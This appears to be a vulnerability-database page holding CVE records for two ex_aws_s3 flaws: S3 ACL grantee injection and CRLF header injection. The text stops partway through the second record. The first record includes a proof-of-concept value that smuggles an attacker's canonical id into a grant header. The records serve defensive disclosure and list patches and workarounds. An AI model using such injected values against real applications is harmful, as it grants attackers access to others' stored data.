| https://osv.dev/vulnerability/EEF-CVE-2026-63585 | related |
| https://github.com/ex-aws/ex_aws_s3/commit/4ce4d7… | related |
| https://github.com/ex-aws/ex_aws_s3/commit/dd4226… | patch |
Impacted products
Date Public
2026-11-24 14:13
{
"containers": {
"cna": {
"affected": [
{
"collectionURL": "https://repo.hex.pm",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.S3.Utils\u0027",
"\u0027Elixir.ExAws.S3\u0027"
],
"packageName": "ex_aws_s3",
"packageURL": "pkg:hex/ex_aws_s3",
"product": "ex_aws_s3",
"programFiles": [
"lib/ex_aws/s3/utils.ex",
"lib/ex_aws/s3.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.S3.Utils\u0027:format_grant_header/1"
},
{
"name": "\u0027Elixir.ExAws.S3\u0027:put_object_acl/3"
},
{
"name": "\u0027Elixir.ExAws.S3\u0027:put_bucket_acl/3"
}
],
"repo": "https://github.com/ex-aws/ex_aws_s3",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "2.6.0",
"status": "affected",
"version": "2.0.0",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://github.com",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.S3.Utils\u0027",
"\u0027Elixir.ExAws.S3\u0027"
],
"packageName": "ex-aws/ex_aws_s3",
"packageURL": "pkg:github/ex-aws/ex_aws_s3",
"product": "ex_aws_s3",
"programFiles": [
"lib/ex_aws/s3/utils.ex",
"lib/ex_aws/s3.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.S3.Utils\u0027:format_grant_header/1"
},
{
"name": "\u0027Elixir.ExAws.S3\u0027:put_object_acl/3"
},
{
"name": "\u0027Elixir.ExAws.S3\u0027:put_bucket_acl/3"
}
],
"repo": "https://github.com/ex-aws/ex_aws_s3",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "dd422637a46203d01cc47fd832836758f8090556",
"status": "affected",
"version": "4ce4d72219c0cb8de9356278203d8ea780311b75",
"versionType": "git"
}
]
}
],
"configurations": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eThe vulnerability requires the host application to pass untrusted input into an \u003ccode\u003eExAws.S3\u003c/code\u003e ACL grant option (\u003ccode\u003egrant_read\u003c/code\u003e, \u003ccode\u003egrant_write\u003c/code\u003e, \u003ccode\u003egrant_read_acp\u003c/code\u003e, \u003ccode\u003egrant_write_acp\u003c/code\u003e, or \u003ccode\u003egrant_full_control\u003c/code\u003e). Applications that only pass trusted, validated grantee identifiers into these options are not affected.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "The vulnerability requires the host application to pass untrusted input into an `ExAws.S3` ACL grant option (`grant_read`, `grant_write`, `grant_read_acp`, `grant_write_acp`, or `grant_full_control`). Applications that only pass trusted, validated grantee identifiers into these options are not affected."
}
],
"value": "The vulnerability requires the host application to pass untrusted input into an ExAws.S3 ACL grant option (grant_read, grant_write, grant_read_acp, grant_write_acp, or grant_full_control). Applications that only pass trusted, validated grantee identifiers into these options are not affected."
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*",
"versionEndExcluding": "2.6.0",
"versionStartIncluding": "2.0.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "reporter",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "analyst",
"value": "Jonatan M\u00e4nnchen / EEF"
},
{
"lang": "en",
"type": "coordinator",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Bernard Duggan"
}
],
"datePublic": "2026-11-24T14:13:11.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003e\u003ccode\u003eExAws.S3\u003c/code\u003e constructs S3 ACL grant headers (such as \u003ccode\u003ex-amz-grant-read\u003c/code\u003e and \u003ccode\u003ex-amz-grant-full-control\u003c/code\u003e) in \u003ccode\u003eformat_grant_header/1\u003c/code\u003e by interpolating grantee identifiers into a quoted, comma-separated list without escaping. Grantee email and id values are wrapped in double quotes and joined with a comma, but double-quote, comma, and CR/LF characters in the value are not neutralized. An application that passes an attacker-influenced grantee value (for example an email address taken from a \"share this object\" feature) into an ACL grant option (\u003ccode\u003egrant_read\u003c/code\u003e, \u003ccode\u003egrant_write\u003c/code\u003e, \u003ccode\u003egrant_read_acp\u003c/code\u003e, \u003ccode\u003egrant_write_acp\u003c/code\u003e, or \u003ccode\u003egrant_full_control\u003c/code\u003e) lets the attacker close the quoted token and inject an additional grantee, such as the attacker\u0027s own canonical id or the predefined AllUsers group URI, into the header. S3 then applies the injected grantee, granting an arbitrary principal the same permission (up to full control or public access) in an unintended ACL grantee-injection and privilege-escalation issue.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws_s3: from 2.0.0 before 2.6.0.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "`ExAws.S3` constructs S3 ACL grant headers (such as `x-amz-grant-read` and `x-amz-grant-full-control`) in `format_grant_header/1` by interpolating grantee identifiers into a quoted, comma-separated list without escaping. Grantee email and id values are wrapped in double quotes and joined with a comma, but double-quote, comma, and CR/LF characters in the value are not neutralized. An application that passes an attacker-influenced grantee value (for example an email address taken from a \"share this object\" feature) into an ACL grant option (`grant_read`, `grant_write`, `grant_read_acp`, `grant_write_acp`, or `grant_full_control`) lets the attacker close the quoted token and inject an additional grantee, such as the attacker\u0027s own canonical id or the predefined AllUsers group URI, into the header. S3 then applies the injected grantee, granting an arbitrary principal the same permission (up to full control or public access) in an unintended ACL grantee-injection and privilege-escalation issue.\n\nThis issue affects ex_aws_s3: from 2.0.0 before 2.6.0."
}
],
"value": "ExAws.S3 constructs S3 ACL grant headers (such as x-amz-grant-read and x-amz-grant-full-control) in format_grant_header/1 by interpolating grantee identifiers into a quoted, comma-separated list without escaping. Grantee email and id values are wrapped in double quotes and joined with a comma, but double-quote, comma, and CR/LF characters in the value are not neutralized. An application that passes an attacker-influenced grantee value (for example an email address taken from a \"share this object\" feature) into an ACL grant option (grant_read, grant_write, grant_read_acp, grant_write_acp, or grant_full_control) lets the attacker close the quoted token and inject an additional grantee, such as the attacker\u0027s own canonical id or the predefined AllUsers group URI, into the header. S3 then applies the injected grantee, granting an arbitrary principal the same permission (up to full control or public access) in an unintended ACL grantee-injection and privilege-escalation issue.\n\nThis issue affects ex_aws_s3: from 2.0.0 before 2.6.0."
}
],
"impacts": [
{
"capecId": "CAPEC-137",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eThis is an ACL grantee-injection vulnerability leading to unintended permission grants and potential privilege escalation. It affects any application using \u003ccode\u003eExAws.S3\u003c/code\u003e ACL grant options (\u003ccode\u003egrant_read\u003c/code\u003e, \u003ccode\u003egrant_write\u003c/code\u003e, \u003ccode\u003egrant_read_acp\u003c/code\u003e, \u003ccode\u003egrant_write_acp\u003c/code\u003e, \u003ccode\u003egrant_full_control\u003c/code\u003e) where the grantee email or id is derived from untrusted input. An attacker who can influence a grantee value can grant their own AWS principal access to objects or buckets, up to full control, by injecting an extra grantee into the comma-separated grant header.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "This is an ACL grantee-injection vulnerability leading to unintended permission grants and potential privilege escalation. It affects any application using `ExAws.S3` ACL grant options (`grant_read`, `grant_write`, `grant_read_acp`, `grant_write_acp`, `grant_full_control`) where the grantee email or id is derived from untrusted input. An attacker who can influence a grantee value can grant their own AWS principal access to objects or buckets, up to full control, by injecting an extra grantee into the comma-separated grant header."
}
],
"value": "This is an ACL grantee-injection vulnerability leading to unintended permission grants and potential privilege escalation. It affects any application using ExAws.S3 ACL grant options (grant_read, grant_write, grant_read_acp, grant_write_acp, grant_full_control) where the grantee email or id is derived from untrusted input. An attacker who can influence a grantee value can grant their own AWS principal access to objects or buckets, up to full control, by injecting an extra grantee into the comma-separated grant header."
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "LOCAL",
"baseScore": 4.8,
"baseSeverity": "MEDIUM",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "HIGH",
"subIntegrityImpact": "LOW",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:H/SI:L/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "LOW",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-116",
"description": "CWE-116 Improper Encoding or Escaping of Output",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-24T14:13:11.918Z",
"orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"shortName": "EEF"
},
"references": [
{
"tags": [
"vendor-advisory",
"related"
],
"url": "https://github.com/ex-aws/ex_aws_s3/security/advisories/GHSA-6fg2-v8g4-vfg2"
},
{
"name": "EEF CNA record for CVE-2026-63585",
"tags": [
"related"
],
"url": "https://cna.erlef.org/cves/CVE-2026-63585.html"
},
{
"name": "OSV record EEF-CVE-2026-63585",
"tags": [
"related"
],
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-63585"
},
{
"name": "Introducing commit 4ce4d72 in ex-aws/ex_aws_s3",
"tags": [
"related"
],
"url": "https://github.com/ex-aws/ex_aws_s3/commit/4ce4d72219c0cb8de9356278203d8ea780311b75"
},
{
"name": "Fix commit dd42263 in ex-aws/ex_aws_s3",
"tags": [
"patch"
],
"url": "https://github.com/ex-aws/ex_aws_s3/commit/dd422637a46203d01cc47fd832836758f8090556"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "ExAws.S3 ACL grantee injection via unescaped grant headers in format_grant_header/1",
"workarounds": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eValidate grantee identifiers before passing them to \u003ccode\u003eExAws.S3\u003c/code\u003e ACL grant options and reject any value containing a double quote, comma, or CR/LF character, or restrict grantee input to trusted canonical ids and email addresses that match the expected S3 grantee grammar.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Validate grantee identifiers before passing them to `ExAws.S3` ACL grant options and reject any value containing a double quote, comma, or CR/LF character, or restrict grantee input to trusted canonical ids and email addresses that match the expected S3 grantee grammar."
}
],
"value": "Validate grantee identifiers before passing them to ExAws.S3 ACL grant options and reject any value containing a double quote, comma, or CR/LF character, or restrict grantee input to trusted canonical ids and email addresses that match the expected S3 grantee grammar."
}
],
"x_proofOfConcept": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003col\u003e\n\u003cli\u003eAn application offers \"share this object\" and calls \u003ccode\u003eExAws.S3.put_object_acl(\"victim-bucket\", \"secret.txt\", grant_read: [email: email])\u003c/code\u003e with a user-supplied email.\u003c/li\u003e\n\u003cli\u003eThe attacker submits the email \u003ccode\u003evictim@example.com\", id=\"ATTACKER_CANONICAL_ID_deadbeef\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eformat_grant_header/1\u003c/code\u003e interpolates it into \u003ccode\u003eemailAddress=\"...\"\u003c/code\u003e, closing the quote after \u003ccode\u003evictim@example.com\u003c/code\u003e and opening a second tuple.\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003ex-amz-grant-read\u003c/code\u003e header carries \u003ccode\u003eemailAddress=\"victim@example.com\", id=\"ATTACKER_CANONICAL_ID_deadbeef\"\u003c/code\u003e, granting the attacker\u0027s principal read access.\u003c/li\u003e\n\u003c/ol\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "1. An application offers \"share this object\" and calls `ExAws.S3.put_object_acl(\"victim-bucket\", \"secret.txt\", grant_read: [email: email])` with a user-supplied email.\n2. The attacker submits the email `victim@example.com\", id=\"ATTACKER_CANONICAL_ID_deadbeef`.\n3. `format_grant_header/1` interpolates it into `emailAddress=\"...\"`, closing the quote after `victim@example.com` and opening a second tuple.\n4. The `x-amz-grant-read` header carries `emailAddress=\"victim@example.com\", id=\"ATTACKER_CANONICAL_ID_deadbeef\"`, granting the attacker\u0027s principal read access."
}
],
"value": "* An application offers \"share this object\" and calls ExAws.S3.put_object_acl(\"victim-bucket\", \"secret.txt\", grant_read: [email: email]) with a user-supplied email.\n* The attacker submits the email victim@example.com\", id=\"ATTACKER_CANONICAL_ID_deadbeef.\n* format_grant_header/1 interpolates it into emailAddress=\"...\", closing the quote after victim@example.com and opening a second tuple.\n* The x-amz-grant-read header carries emailAddress=\"victim@example.com\", id=\"ATTACKER_CANONICAL_ID_deadbeef\", granting the attacker\u0027s principal read access."
}
],
"x_technicalAnalysis": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003e\u003cstrong\u003e1. Header grammar.\u003c/strong\u003e S3 grant headers such as \u003ccode\u003ex-amz-grant-read\u003c/code\u003e and \u003ccode\u003ex-amz-grant-full-control\u003c/code\u003e are a comma-separated list of quoted grantee tuples, \u003ccode\u003etype=\"id\"[, type=\"id\"]...\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Unescaped interpolation.\u003c/strong\u003e \u003ccode\u003eformat_grant_header/1\u003c/code\u003e in \u003ccode\u003elib/ex_aws/s3/utils.ex\u003c/code\u003e builds each tuple as \u003ccode\u003eemailAddress=\"#{email}\"\u003c/code\u003e or \u003ccode\u003e#{key}=\"#{value}\"\u003c/code\u003e and joins them with \u003ccode\u003e, \u003c/code\u003e. It does not check identifiers against the id or email grammar and does not reject or escape \u003ccode\u003e\"\u003c/code\u003e, \u003ccode\u003e,\u003c/code\u003e or CR/LF.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Grantee injection.\u003c/strong\u003e A grantee value such as \u003ccode\u003ex\", id=\"ATTACKER_CANONICAL_ID\u003c/code\u003e closes the quoted token and opens a second tuple, producing \u003ccode\u003eid=\"x\", id=\"ATTACKER_CANONICAL_ID\"\u003c/code\u003e. S3 parses two grantees and gives the injected principal the permission the header conveys, up to full control for \u003ccode\u003ex-amz-grant-full-control\u003c/code\u003e.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "**1. Header grammar.** S3 grant headers such as `x-amz-grant-read` and `x-amz-grant-full-control` are a comma-separated list of quoted grantee tuples, `type=\"id\"[, type=\"id\"]...`.\n\n**2. Unescaped interpolation.** `format_grant_header/1` in `lib/ex_aws/s3/utils.ex` builds each tuple as `emailAddress=\"#{email}\"` or `#{key}=\"#{value}\"` and joins them with `, `. It does not check identifiers against the id or email grammar and does not reject or escape `\"`, `,` or CR/LF.\n\n**3. Grantee injection.** A grantee value such as `x\", id=\"ATTACKER_CANONICAL_ID` closes the quoted token and opens a second tuple, producing `id=\"x\", id=\"ATTACKER_CANONICAL_ID\"`. S3 parses two grantees and gives the injected principal the permission the header conveys, up to full control for `x-amz-grant-full-control`."
}
],
"value": "1. Header grammar. S3 grant headers such as x-amz-grant-read and x-amz-grant-full-control are a comma-separated list of quoted grantee tuples, type=\"id\"[, type=\"id\"]....\n\n2. Unescaped interpolation. format_grant_header/1 in lib/ex_aws/s3/utils.ex builds each tuple as emailAddress=\"#{email}\" or #{key}=\"#{value}\" and joins them with , . It does not check identifiers against the id or email grammar and does not reject or escape \", , or CR/LF.\n\n3. Grantee injection. A grantee value such as x\", id=\"ATTACKER_CANONICAL_ID closes the quoted token and opens a second tuple, producing id=\"x\", id=\"ATTACKER_CANONICAL_ID\". S3 parses two grantees and gives the injected principal the permission the header conveys, up to full control for x-amz-grant-full-control."
}
]
}
},
"cveMetadata": {
"assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"assignerShortName": "EEF",
"cveId": "CVE-2026-63585",
"datePublished": "2026-11-24T14:13:11.918Z",
"dateReserved": "2026-07-17T04:14:44.351Z",
"dateUpdated": "2026-11-24T14:13:11.918Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-65621 (GCVE-0-2026-65621)
Vulnerability from cvelistv5 – Published: 2026-11-24 14:13 – Updated: 2026-11-24 14:13
VLAI
EPSS
VEX
Title
Unvalidated object metadata in ex_aws_s3 enables HTTP header (CRLF) injection into S3 requests
Summary
ex_aws_s3 builds x-amz-meta-* request headers by interpolating user-supplied object metadata directly into header names and values without any validation. In ExAws.S3.Utils.build_meta_headers/1 (lib/ex_aws/s3/utils.ex), each :meta entry is turned into a header as {"x-amz-meta-#{k}", v} with no check for carriage return (CR), line feed (LF), or other illegal header bytes.
Object metadata is routinely derived from end-user input (for example an upload service that lets users attach a comment or label to an object). When such input reaches ExAws.S3.put_object/4 or any other operation accepting the :meta option, a value containing CR/LF is carried unchanged into the outbound header list. If the configured HTTP adapter does not neutralize header values before writing them to the socket, the embedded CRLF starts a new header line, allowing an attacker to inject arbitrary headers into (or split) the HTTP request the library sends to the S3 endpoint. This is an HTTP header (CRLF) injection leading to HTTP request splitting. The practical impact depends on the HTTP adapter, and no authentication is required beyond the ability to influence object metadata.
This issue affects ex_aws_s3: from 2.0.0 before 2.6.0.
Severity
CWE
- CWE-113 - Improper Neutralization of CRLF Sequences in HTTP Headers
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/ex-aws/ex_aws_s3/security/advi… | vendor-advisoryrelated |
| https://cna.erlef.org/cves/CVE-2026-65621.html | related |
| https://osv.dev/vulnerability/EEF-CVE-2026-65621 | related |
| https://github.com/ex-aws/ex_aws_s3/commit/4ce4d7… | related |
| https://github.com/ex-aws/ex_aws_s3/commit/fa9411… | patch |
Impacted products
Date Public
2026-11-24 14:13
{
"containers": {
"cna": {
"affected": [
{
"collectionURL": "https://repo.hex.pm",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.S3.Utils\u0027",
"\u0027Elixir.ExAws.S3\u0027"
],
"packageName": "ex_aws_s3",
"packageURL": "pkg:hex/ex_aws_s3",
"product": "ex_aws_s3",
"programFiles": [
"lib/ex_aws/s3/utils.ex",
"lib/ex_aws/s3.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.S3.Utils\u0027:build_meta_headers/1"
},
{
"name": "\u0027Elixir.ExAws.S3\u0027:put_object/4"
}
],
"repo": "https://github.com/ex-aws/ex_aws_s3",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "2.6.0",
"status": "affected",
"version": "2.0.0",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://github.com",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.S3.Utils\u0027",
"\u0027Elixir.ExAws.S3\u0027"
],
"packageName": "ex-aws/ex_aws_s3",
"packageURL": "pkg:github/ex-aws/ex_aws_s3",
"product": "ex_aws_s3",
"programFiles": [
"lib/ex_aws/s3/utils.ex",
"lib/ex_aws/s3.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.S3.Utils\u0027:build_meta_headers/1"
},
{
"name": "\u0027Elixir.ExAws.S3\u0027:put_object/4"
}
],
"repo": "https://github.com/ex-aws/ex_aws_s3",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "fa941106c2e3b10de8e710d1a03eeb673b88096c",
"status": "affected",
"version": "4ce4d72219c0cb8de9356278203d8ea780311b75",
"versionType": "git"
}
]
}
],
"configurations": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eThe vulnerability is only exploitable when an application both populates object \u003ccode\u003e:meta\u003c/code\u003e entries from untrusted input and uses an HTTP adapter that does not neutralize CR/LF in header values before writing them to the socket. The default adapter (hackney 4.x) strips CR/LF from header values, which masks the issue; the library performs no validation of its own and silently delegates safety to the configured HTTP client.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "The vulnerability is only exploitable when an application both populates object `:meta` entries from untrusted input and uses an HTTP adapter that does not neutralize CR/LF in header values before writing them to the socket. The default adapter (hackney 4.x) strips CR/LF from header values, which masks the issue; the library performs no validation of its own and silently delegates safety to the configured HTTP client."
}
],
"value": "The vulnerability is only exploitable when an application both populates object :meta entries from untrusted input and uses an HTTP adapter that does not neutralize CR/LF in header values before writing them to the socket. The default adapter (hackney 4.x) strips CR/LF from header values, which masks the issue; the library performs no validation of its own and silently delegates safety to the configured HTTP client."
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*",
"versionEndExcluding": "2.6.0",
"versionStartIncluding": "2.0.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "reporter",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "analyst",
"value": "Jonatan M\u00e4nnchen / EEF"
},
{
"lang": "en",
"type": "coordinator",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Bernard Duggan"
}
],
"datePublic": "2026-11-24T14:13:06.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eex_aws_s3 builds \u003ccode\u003ex-amz-meta-*\u003c/code\u003e request headers by interpolating user-supplied object metadata directly into header names and values without any validation. In \u003ccode\u003eExAws.S3.Utils.build_meta_headers/1\u003c/code\u003e (\u003ccode\u003elib/ex_aws/s3/utils.ex\u003c/code\u003e), each \u003ccode\u003e:meta\u003c/code\u003e entry is turned into a header as \u003ccode\u003e{\"x-amz-meta-#{k}\", v}\u003c/code\u003e with no check for carriage return (CR), line feed (LF), or other illegal header bytes.\u003c/p\u003e\n\u003cp\u003eObject metadata is routinely derived from end-user input (for example an upload service that lets users attach a comment or label to an object). When such input reaches \u003ccode\u003eExAws.S3.put_object/4\u003c/code\u003e or any other operation accepting the \u003ccode\u003e:meta\u003c/code\u003e option, a value containing CR/LF is carried unchanged into the outbound header list. If the configured HTTP adapter does not neutralize header values before writing them to the socket, the embedded CRLF starts a new header line, allowing an attacker to inject arbitrary headers into (or split) the HTTP request the library sends to the S3 endpoint. This is an HTTP header (CRLF) injection leading to HTTP request splitting. The practical impact depends on the HTTP adapter, and no authentication is required beyond the ability to influence object metadata.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws_s3: from 2.0.0 before 2.6.0.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "ex_aws_s3 builds `x-amz-meta-*` request headers by interpolating user-supplied object metadata directly into header names and values without any validation. In `ExAws.S3.Utils.build_meta_headers/1` (`lib/ex_aws/s3/utils.ex`), each `:meta` entry is turned into a header as `{\"x-amz-meta-#{k}\", v}` with no check for carriage return (CR), line feed (LF), or other illegal header bytes.\n\nObject metadata is routinely derived from end-user input (for example an upload service that lets users attach a comment or label to an object). When such input reaches `ExAws.S3.put_object/4` or any other operation accepting the `:meta` option, a value containing CR/LF is carried unchanged into the outbound header list. If the configured HTTP adapter does not neutralize header values before writing them to the socket, the embedded CRLF starts a new header line, allowing an attacker to inject arbitrary headers into (or split) the HTTP request the library sends to the S3 endpoint. This is an HTTP header (CRLF) injection leading to HTTP request splitting. The practical impact depends on the HTTP adapter, and no authentication is required beyond the ability to influence object metadata.\n\nThis issue affects ex_aws_s3: from 2.0.0 before 2.6.0."
}
],
"value": "ex_aws_s3 builds x-amz-meta-* request headers by interpolating user-supplied object metadata directly into header names and values without any validation. In ExAws.S3.Utils.build_meta_headers/1 (lib/ex_aws/s3/utils.ex), each :meta entry is turned into a header as {\"x-amz-meta-#{k}\", v} with no check for carriage return (CR), line feed (LF), or other illegal header bytes.\n\nObject metadata is routinely derived from end-user input (for example an upload service that lets users attach a comment or label to an object). When such input reaches ExAws.S3.put_object/4 or any other operation accepting the :meta option, a value containing CR/LF is carried unchanged into the outbound header list. If the configured HTTP adapter does not neutralize header values before writing them to the socket, the embedded CRLF starts a new header line, allowing an attacker to inject arbitrary headers into (or split) the HTTP request the library sends to the S3 endpoint. This is an HTTP header (CRLF) injection leading to HTTP request splitting. The practical impact depends on the HTTP adapter, and no authentication is required beyond the ability to influence object metadata.\n\nThis issue affects ex_aws_s3: from 2.0.0 before 2.6.0."
}
],
"impacts": [
{
"capecId": "CAPEC-105",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eThis is an HTTP header (CRLF) injection / request-splitting issue. Anyone using \u003ccode\u003eex_aws_s3\u003c/code\u003e to store objects whose metadata is derived from untrusted input (upload services, multi-tenant file stores, anything exposing object metadata over an HTTP boundary) is affected. The practical impact depends on the configured HTTP adapter: adapters that validate header values will reject or strip the injection, but the library offers no guarantee and performs no validation of its own, so the safety of the request is silently delegated to the HTTP client.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "This is an HTTP header (CRLF) injection / request-splitting issue. Anyone using `ex_aws_s3` to store objects whose metadata is derived from untrusted input (upload services, multi-tenant file stores, anything exposing object metadata over an HTTP boundary) is affected. The practical impact depends on the configured HTTP adapter: adapters that validate header values will reject or strip the injection, but the library offers no guarantee and performs no validation of its own, so the safety of the request is silently delegated to the HTTP client."
}
],
"value": "This is an HTTP header (CRLF) injection / request-splitting issue. Anyone using ex_aws_s3 to store objects whose metadata is derived from untrusted input (upload services, multi-tenant file stores, anything exposing object metadata over an HTTP boundary) is affected. The practical impact depends on the configured HTTP adapter: adapters that validate header values will reject or strip the injection, but the library offers no guarantee and performs no validation of its own, so the safety of the request is silently delegated to the HTTP client."
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "LOCAL",
"baseScore": 2.1,
"baseSeverity": "LOW",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "LOW",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "LOW",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-113",
"description": "CWE-113 Improper Neutralization of CRLF Sequences in HTTP Headers",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-24T14:13:06.909Z",
"orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"shortName": "EEF"
},
"references": [
{
"tags": [
"vendor-advisory",
"related"
],
"url": "https://github.com/ex-aws/ex_aws_s3/security/advisories/GHSA-5887-vcfr-5ff8"
},
{
"name": "EEF CNA record for CVE-2026-65621",
"tags": [
"related"
],
"url": "https://cna.erlef.org/cves/CVE-2026-65621.html"
},
{
"name": "OSV record EEF-CVE-2026-65621",
"tags": [
"related"
],
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-65621"
},
{
"name": "Introducing commit 4ce4d72 in ex-aws/ex_aws_s3",
"tags": [
"related"
],
"url": "https://github.com/ex-aws/ex_aws_s3/commit/4ce4d72219c0cb8de9356278203d8ea780311b75"
},
{
"name": "Fix commit fa94110 in ex-aws/ex_aws_s3",
"tags": [
"patch"
],
"url": "https://github.com/ex-aws/ex_aws_s3/commit/fa941106c2e3b10de8e710d1a03eeb673b88096c"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Unvalidated object metadata in ex_aws_s3 enables HTTP header (CRLF) injection into S3 requests",
"workarounds": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eReject or strip carriage return (CR) and line feed (LF) characters from object metadata keys and values before passing them to ex_aws_s3, or configure an HTTP adapter that neutralizes CR/LF in header values before writing them to the socket (for example hackney 4.x).\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Reject or strip carriage return (CR) and line feed (LF) characters from object metadata keys and values before passing them to ex_aws_s3, or configure an HTTP adapter that neutralizes CR/LF in header values before writing them to the socket (for example hackney 4.x)."
}
],
